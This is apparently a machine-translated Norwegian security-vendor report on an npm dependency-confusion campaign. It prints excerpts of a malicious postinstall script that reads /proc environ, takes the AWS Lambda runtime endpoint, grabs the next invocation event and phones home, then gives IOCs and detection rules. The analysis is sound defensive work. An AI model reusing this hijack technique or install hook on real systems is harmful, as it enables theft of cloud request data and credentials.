AWS Lambda npm Avhengighetsforvirringsangrep 24712-pl-kampanjen

AWS Lambda npm-avhengighetsforvirringsangrep: 24712-pl-kampanjen

TL; DR

Mellom 6. og 7. mai 2026, én npm-utgiver, pelavelle, sendte ut åtte pakker uten avhengighet med navn som fulgte det samme mønsteret med internt utseende: 24712-pl*.

Pakkene som er inkludert 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2og 24712-plv3. Det nummererte prefikset antyder sterkt en npm-avhengighetsforvirringsangrep mot et internt pakkenavneområde eller pakke-ID-skjema.

Alle åtte søskenpakkene var allerede avpublisert fra npm av utgiveren mellom 2026-05-06T21:52Z og 2026-05-07T00:31ZDirekte registermetadata bekreftet at tarballene nå returnerer HTTP 404.

Klyngen er imidlertid fortsatt viktig.

Det kanoniske utvalget, 24712-pl5006:0.0.1, inneholder en postinstall.js skript som kjører under npm installI stedet for å stjele generiske miljøvariabler, ser den spesifikt etter AWS_LAMBDA_RUNTIME_API, miljøvariabelen som brukes av AWS Lambda-kjøretider.

Hvis skriptet finner AWS_LAMBDA_RUNTIME_API, kaller den Lambda Runtime API-endepunktet:

Lambda Runtime API-sti /2018-06-01/kjøretid/påkall/neste

Det kallet forsøker å forbruke den neste ventende Lambda-kallingshendelsen før den legitime Lambda-håndtereren kan behandle den.

Den innsamlede hendelsen, inkludert overskrifter, forespørsels-ID, kontokontekst og opptil 8 KB forespørselstekst, sendes deretter til et angriperkontrollert telefon-hjem-endepunkt gjennom skriptets phoneHome() funksjon.

Xygenis Malware Early Warning (MEW)-system klassifiserte det kanoniske utvalget som sannsynligvis skadelig med en poengsum på 91.3/100.

Vi følger dette som en npm-avhengighetsforvirringsangrep med AWS Lambda runtime hijack-oppførsel.

Klyngen: Åtte pakker, én utgiver

Utgiverkontoen pelavelle brukte e-postadressen:

				
					pelavelle@clovercode.com
				
			

Kontoen hadde en ubekreftet e-postadresse, nei SCM verifisering og en lav omdømmescore på 5.

Utgiveren ga ut åtte relaterte pakker i løpet av et kort vindu mellom 2026-05-06 20:45Z og 22:36Z. Pakkenavnene følger alle samme form:

				
					24712-pl*
				
			
 

Dette mønsteret er nøkkelsignalet. Det ser ikke ut som et offentlig utviklerverktøy. I stedet ser det ut som et internt navnesystem for pakker.

#PakkeOndsinnet versjonOpprettet, UTCUpublisert, UTCNyttelast bekreftetInstaller krok
1kosmos-utforsker1.1.32026-05-01T18:26Z2026-05-01T19:01ZAntatt, samme utgiver/klyngeforhåndsinstallering, antatt
2signalsdk-nett1.0.0, 10.0.02026-05-04T13:57Z2026-05-04T18:51Zutledesforhåndsinstallering, antatt
3ms.analytics-web99.0.0, 99.9.132026-05-04T18:47Z2026-05-05T10:07Zutledesforhåndsinstallering, antatt
4ikoner.generert99.9.132026-05-05T10:02Z2026-05-05T12:57Zutledesforhåndsinstallering, antatt
5latenssporing99.9.02026-05-05T11:57Z2026-05-05T12:57Zutledesforhåndsinstallering, antatt
6latenssporing-internVersjoner fjernet fra registerposten2026-05-06T06:02Z2026-05-06T08:35Zutledesforhåndsinstallering, antatt
7carboniteapp99.9.02026-05-06T05:49Z2026-05-06T08:35ZJa, full skannerkodeflytforhåndsinstallasjon: node index.js
8karbonitt-intern99.9.02026-05-06T06:14Z2026-05-06T08:36ZJa, full skannerkodeflytforhåndsinstallasjon: node index.js

Totalt antall versjoner på tvers av klyngen: 19 versjonspakke-tupler.

Det kanoniske utvalget, 24712-pl5006:0.0.1, ble publisert 2026-05-06T22:36:34Z og skannet av Xygenis MEW pipeline før avpubliseringen av hendelsen.

Den inneholdt fire filer, inkludert package/postinstall.js, med 3 335 byte total kilde.

Det kanoniske commit hashen var:

				
					83e0efbfd110abb2398a06196fb698565a3f6cc6
				
			

Hvorfor navnemønsteret er viktig

Pakkenavnene er den sterkeste indikatoren på intensjon.

De starter alle med samme prefiks:

				
					24712-pl
				
			

Så legger de til numeriske eller versjonslignende suffikser:

				
					24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
				
			

Dette ligner ikke vanlig offentlig npm-navngivning. Det ser ut som et internt navneromsprefiks eller et internt pakke-ID-skjema.

Det gjør klyngen konsistent med en npm-avhengighetsforvirringsangrep.

I et avhengighetsforvirringsangrep publiserer angriperen en offentlig pakke med et navn som samsvarer med, eller ser ut til å samsvare med, en intern avhengighet. Hvis målets pakkebehandler eller byggemiljø løser den offentlige pakken i stedet for den private, kjører angriperkontrollert kode inne i målmiljøet.

OWASP beskriver avhengighetsforvirring som en angrepsvektor som lurer pakkebehandlere og mellomtjenere til å hente en ondsinnet offentlig pakke i stedet for den tiltenkte interne pakken med samme navn.

For dypere kontekst om hvordan denne angrepsklassen fungerer, se Xygenis veiledning om mangel på versjonslåsing og avhengighetsforvirring og innlegget vårt på identifisere og håndtere programvareavhengighetsangrep.

Hva skjer ved installasjonstidspunktet

Den kanoniske pakken erklærer en postinstall krok:

				
					{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}
				
			

Ocuco postinstall livssyklus er en del av npms pakkeskriptsystem. npms dokumentasjon forklarer at pakker kan definere livssyklusskript i package.json, inkludert innebygde hendelser i installasjonslivssyklusen.

Ocuco || true er viktig.

Den sluker feil, slik at installasjonen fortsatt lykkes selv om kapringen mislykkes. Det hjelper pakken med å unngå å ødelegge byggingen og reduserer sjansen for at utviklere eller CI-systemer oppdager den ondsinnede oppførselen gjennom en mislykket installasjon.

Nyttelasten kjører under npm installIngen utviklerimport er nødvendig. Ingen applikasjonssti trenger å kalle pakken.

Selve installasjonen er nok.

Nyttelastens oppførsel: Lambda Runtime Hijack

Ocuco postinstall.js skriptet utfører en målrettet sekvens.

Først leser den det overordnede prosessmiljøet fra Linux /proc:

				
					const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
				
			

Deretter trekker den ut AWS Lambda-kjøretidsendepunktet:

				
					const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);
				
			

Hvis runtime-API-et blir funnet, lagrer skriptet det:

				
					runtimeApi = match[1];
				
			

Deretter sender den et første signal gjennom phoneHome():

				
					await phoneHome({ step: 'waiting', runtimeApi, ts: ... });
				
			

Den første beaconen lekker Lambda runtime API-endepunktet.

Deretter analyserer skriptet runtime API-verten og porten:

				
					const [host, portStr] = runtimeApi.split(':');
				
			
 

Til slutt kaller den AWS Lambda Runtime API-banen som brukes til å hente neste kall:

				
					http.request({
  host,
  port,
  path: '/2018-06-01/runtime/invocation/next',
  method: 'GET',
  timeout: 90000
}, ...);
				
			

Det er kjernen i angrepet.

Skriptet prøver å konsumere den neste Lambda-anropshendelsen før den legitime Lambda-håndtereren kan behandle den. AWS sin tilpassede kjøretidsveiledning beskriver også trinnet «hent en hendelse» som et kall til neste anrops-API.

Hva blir eksfiltrert

Hvis skriptet fanger opp et kall, sender det resultatet til det angriperkontrollerte telefon-hjem-endepunktet.

De eksfiltrerte feltene inkluderer:

FeltBetydning
stepUtførelsesfase, som for eksempel waiting, next_erroreller captured
runtimeApiLambda runtime API-endepunkt
accountSidInnsamlet AWS-kontokontekst
requestIdLambda-påkallingsforespørsels-ID
isOwnAccountBoolsk sammenligning mot skriptets konfigurerte kontoverdi
statusCodeStatus for svar på kjøretids-API
headersOverskrifter for påkallelsessvar
bodyOpptatt anropstekst, kuttet til 8,000 tegn

Det viktigste eksfiltreringsanropet er phoneHome(data) funksjonen, som JSON-koder dataene og sender dem via en HTTP POST.

Den nøyaktige destinasjons-URL-en for telefon/hjem ble ikke bevart i det tilgjengelige avkortede beviset. Derfor bør npm bevare den upubliserte tarballen internt, slik at C2-vertsliteralen kan hentes ut før slettingen fullføres.

Hvorfor dette er farlig

Dette er ikke et generisk npm-beacon.

Nyttelasten er designet rundt AWS Lambda-er utførelsesmodell.

Hvis en sårbar pakke installeres i et Lambda-kjøringsmiljø, for eksempel under en distribusjonsavbildningsbygging, en Lambda-laginstallasjon eller en init-wrapper-prosess, kan miljøet eksponere AWS_LAMBDA_RUNTIME_API.

Når skriptet har den verdien, kan det kalle:

				
					/2018-06-01/runtime/invocation/next
				
			

Det endepunktet returnerer den neste ventende aktiveringshendelsen.

Som et resultat kan angriperen være i stand til å fange:

  • Forespørselsorganer
  • Headers
  • Forespørsels-ID-er
  • AWS-kontokontekst
  • Data for signerte forespørsler
  • Kundens personlige identifikationsinformasjon
  • S3-hendelsesdata
  • Applikasjonsspesifikke nyttelaster
  • Intern tjenestekontekst

Den legitime behandleren ser kanskje aldri den forbrukte hendelsen.

Det gjør et npm-installasjonsskript om til en Lambda-hendelsesavskjæringsprimitiv.

Selv om pakken aldri havner i et ekte Lambda-miljø, kan oppførselen fortsatt lekke nyttig kontekst fra utvikler- eller CI-systemer. /proc/<pid>/environ kan eksponere miljøvariabler som finnes i foreldreprosesser, som kan inkludere AWS-nøkler, database-URL-er, CI-tokener eller distribusjonslegitimasjon.

Derfor kan ikke avhengighetsskanning stoppe ved kjente CVE-er. Team trenger også deteksjon av skadelige pakker, analyse av installasjonsskript og håndheving av registerpolicyer. For relatert veiledning, les Hvorfor avhengighetsskanning er viktig for DevOps-team og Beskyttelse mot skadelig programvare: Hvorfor antivirus ikke kan stoppe angrep i forsyningskjeden.

Xygeni MEW-klassifisering

Xygeni MEW skannet det kanoniske utvalget 24712-pl5006:0.0.1 før avpubliseringen av hendelsen.

Skanneren returnerte:

				
					91.3 / 100
probablyMalicious
threshold: 80
				
			

Bevisene inkluderte tre kritiske elementer og ett høyt element som bekreftet Lambda runtime-kapringsdataflyten.

AlvorlighetsgradbevisBetydning
Kritisk/proc/<pid>/environ leseLeser overordnet prosessmiljø
KritiskAWS_LAMBDA_RUNTIME_API utdragMål Lambda kjøretidsendepunkt
Kritisk/runtime/invocation/next anmodeForsøker å konsumere en ekte Lambda-påkallingshendelse
Høyt postinstall scriptKjører under npm-installasjon

Oppførselen er svært spesifikk og har stor innvirkning. Pakken trenger ikke omfattende skadevarefunksjoner fordi Lambda-kjøretidsendepunktet allerede er et kraftig mål.

Xygeni MEW er utviklet for denne typen tilfeller: å oppdage mistenkelig og ondsinnet pakkeoppførsel før den blir en nedstrømshendelse. For en bredere oversikt over nåværende npm- og PyPI-trusselmønstre, se En nærmere titt på angrep i programvareforsyningskjeden i 2025.

Hvorfor selvpubliseringsmønsteret er viktig

Alle åtte pakkene ble avpublisert av utgiveren innen et kort tidsvindu.

Den oppførselen er mistenkelig i denne sammenhengen.

Klyngen dukket opp, kjørte hvis den ble valgt av en sårbar avhengighetsløsningsbane, og forsvant deretter. Dette er i samsvar med angriperopprydding etter et vellykket eller avbrutt konseptbevis, eller etter at målorganisasjonen la merke til problemet.

Avpublisering skaper et synlighetsgap for forsvarere.

Offentlige npm-data inkluderer kanskje ikke lenger tarballene. Enkelte pakkeversjoner kan ikke lastes ned på nytt. Berørte miljøer kan imidlertid fortsatt ha hurtigbufrede kopier, låsefilreferanser, CI-logger eller pakkebehandlerartefakter.

Derfor er bevaring på registersiden viktig.

npm bør bevare de upubliserte tarballene internt lenge nok til å trekke ut den nøyaktige telefon-hjem-URL-en, bekrefte identiteten til sibling-nyttelasten og støtte hendelsesrespons.

Indikatorer for kompromittering og deteksjon

Utgiver og konto

FeltVerdi
npm-brukernavnpelavelle
npm-utgiverens e-postadressepelavelle@clovercode.com
e-post bekreftetNei
SCM verifisertNei
Utgiverens omdømmepoengsum5
Pakkenavngivningsmønster^24712-pl[0-9a-z]+$
Internt navneromsprefiks24712-pl

Berørte pakkenavn

				
					24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
				
			

Kanonisk eksempel

 
FeltVerdi
Pakke24712-pl5006
Versjon0.0.1
Publisert2026-05-06T22:36:34Z
Commit hash83e0efbfd110abb2398a06196fb698565a3f6cc6
Xygeni-skannings-UUIDf80e4244-86d2-4a58-be59-7c56988a0f9f
Resultat91.3 / 100
KjennelseprobablyMalicious

Installer krok

				
					{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}
				
			

Lambda-kjøretidsindikatorer

Eksfiltrerte nyttelastfelt

				
					step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body
				
			

Brødteksten er delt inn i 8,000 tegn.

Deteksjonsmerknader

Flere regler kan fange opp dette npm-avhengighetsforvirringsangrep og sannsynlige varianter.

Først, flagg npm-installasjonsskript som leser overordnet prosessmiljø fra /proc:

				
					/proc/<pid>/environ
				
			

Det er sjelden legitim oppførsel for en npm-avhengighet under installasjon.

For det andre, varsle om pakkeinstallasjonsskript som refererer til:

				
					AWS_LAMBDA_RUNTIME_API
				
			

Denne miljøvariabelen skal ikke være tilgjengelig for tredjeparts npm-pakker under installasjon.

For det tredje, blokker eller gjennomgå installasjonsskript som kaller:

				
					/2018-06-01/runtime/invocation/next
				
			

Dette er AWS Lambda Runtime API-endepunktet for å motta neste kall. Et installasjonsskript for en avhengighet har ingen legitim grunn til å forbruke det.

For det fjerde, søk etter låsefilreferanser til de berørte pakkenavnene:

				
					package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json
				
			

Ethvert samsvar bør utløse en gjennomgang av avhengighetsforvirring.

For det femte, varsel om regex for pakkenavn:

				
					^24712-pl[0-9a-z]+$
				
			

spesielt når utgiveren er offentlig, har lavt omdømme, er ubekreftet eller utenfor det forventede interne registeret.

Til slutt, legg til CI/CD guardrails rundt installasjonsskript. Dette er spesielt viktig fordi npm-livssyklusskript kan kjøres under pakkeinstallasjon, før utviklere importerer noe. For mer informasjon CI/CD deteksjonsmønstre, se Xygenis Topp 10 indikatorer på kompromiss i CI/CD Pipelines og Trygghet Guardrails forum CI/CD Pipelines.

Foreslåtte registerhandlinger

Denne klyngen var allerede ikke publisert på rapporteringstidspunktet, men å ikke publisere fjerner ikke risikoen.

Anbefalte handlinger på npm-siden:

  • Bekreft om avpubliseringene var en angriperinitiert opprydding snarere enn en legitim handling fra vedlikeholderen.
  • Suspender eller utesteng utgiverkontoen pelavelle.
  • Legg til pelavelle@clovercode.com, pakkenavnene og pakkenavnets regex til npm-misbruk og blokkeringslister i forsyningskjeden.
  • Behold upubliserte tarballer i intern lagring for rettsmedisinske formål.
  • Trekk ut det nøyaktige phoneHome() destinasjons-URL fra de bevarte pakke-tarballene.
  • Bekreft om alle søskenpakker deler samme nyttelast.
  • Varsle berørte organisasjoner hvis telemetri for pakkenedlasting eller installasjon indikerer eksponering.

Sjekkliste for kompromissrespons

Hvis en berørt pakke dukket opp i låsefiler, CI-logger, pakkebuffere, Lambda-lag, distribusjonsbilder eller byggeartefakter, skal den behandles som en potensiell utførelseshendelse som forårsaker avhengighetsforvirring.

Anbefalt svar:

  • Identifiser hvor pakken ble installert: lokal arbeidsstasjon, CI-løper, Lambda-lagbygg, distribusjonsavbildning eller kjøretidsmiljø.
  • Bevar låsefiler, npm-hurtigbuffer, byggelogger, distribusjonsartefakter og containerbildelag.
  • Sjekk om installasjonen skjedde i et miljø der AWS_LAMBDA_RUNTIME_API ble satt.
  • Se gjennom utgående HTTP-logger for ukjente phoneHome() destinasjoner i løpet av installasjonsvinduet.
  • Revider Lambda-kallingslogger for å se etter mistede, uregelmessige eller avvikende hendelser.
  • Roter hemmeligheter som er eksponert for installasjonsmiljøet, spesielt AWS-nøkler, CI-tokener, distribusjonslegitimasjon og database-URL-er.
  • Se gjennom Lambda-lag og distribusjonsbilder for hurtigbufrede kopier av pakken.
  • Håndhev privat registerlåsing for interne pakkeprefikser.
  • Blokker offentlig npm-oppløsning for internt utseende pakkenavn.
  • Legg til guardrails forum preinstall, installog postinstall skript.

Hvordan Xygeni bidrar til å oppdage dette tidligere

Denne kampanjen er akkurat den typen sak der sikkerhetsteam trenger mer enn tradisjonell sårbarhetsskanning.

Det kan være ingen CVEDet finnes kanskje ingen kjent sårbar versjon. Det finnes kanskje ingen pakke med lang levetid å inspisere etter at utgiveren har ryddet opp.

I stedet trenger teamene sanntidsinnsikt i pakkeatferd.

Xygeni hjelper ved å kombinere:

  • Tidlig deteksjon av skadelig programvare på tvers av offentlige registre.
  • Mistenkelig avhengighetsdeteksjon for avhengighetsforvirring og typosquatting.
  • Analyse av installasjonsskript for preinstall, installog postinstall atferd.
  • CI/CD guardrails å blokkere risikable pakker før de når bygge- eller distribusjonsmiljøer.
  • Synlighet i programvareforsyningskjeden på tvers av avhengigheter, pipelines og gjenstander.
  • Håndheving av retningslinjer for interne pakkenavn og upålitelige offentlige pakker.

Det er viktig fordi virkningen av en npm-avhengighetsforvirringsangrep er ikke begrenset til bærbare datamaskiner for utviklere. Den kan nå CI-kjørere, bygge bilder, Lambda-lag, distribusjonscontainere og miljøer med tilstøtende kjøretid.

For bredere AppSec og forsyningskjedekontekst, se Beyond SCASikring av programvareforsyningskjeden din og Software Supply Chain Security Automatisering.

Hva forsvarere bør ta med seg

Denne kampanjen viser hvordan avhengighetsforvirring kan gå utover grunnleggende bevis på utførelse-beacons.

Nyttelasten bekrefter ikke bare det npm install ran. Den prøver å samhandle med AWS Lambda Runtime API og fange opp en ekte aktiveringshendelse.

Det er en meningsfull opptrapping.

For team som bruker serverløshet, er avhengighetsløsning en del av trusselmodellen for kjøretid. En offentlig npm-pakke med et internt utseende navn kan bli en sti inn i Lambda-utførelseskontekst, forespørselsdata og metadata for skykontoer.

Kjernelærdommen er klar: interne pakkeprefikser må beskyttes, begrenses til et visst omfang og festes til pålitelige registre. Installasjonsskript må behandles som kjørbare angrepsflater, spesielt i CI/CD, containerbygging, Lambda-lag og distribusjon pipelines.

CISA sin veiledning for programvareforsyningskjeden understreker behovet for å beskytte programvare, bruke sikkerhetskontroller og reagere på sårbarheter kontinuerlig gjennom hele utviklingsprosessen. I dette tilfellet betyr det å behandle pakkeløsning, pakkeskript og serverløse byggemiljøer som førsteklasses sikkerhetskontroller.

Rapportert til npm for håndheving på kontonivå, blokkering og bevaring av upubliserte tarballer.

sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken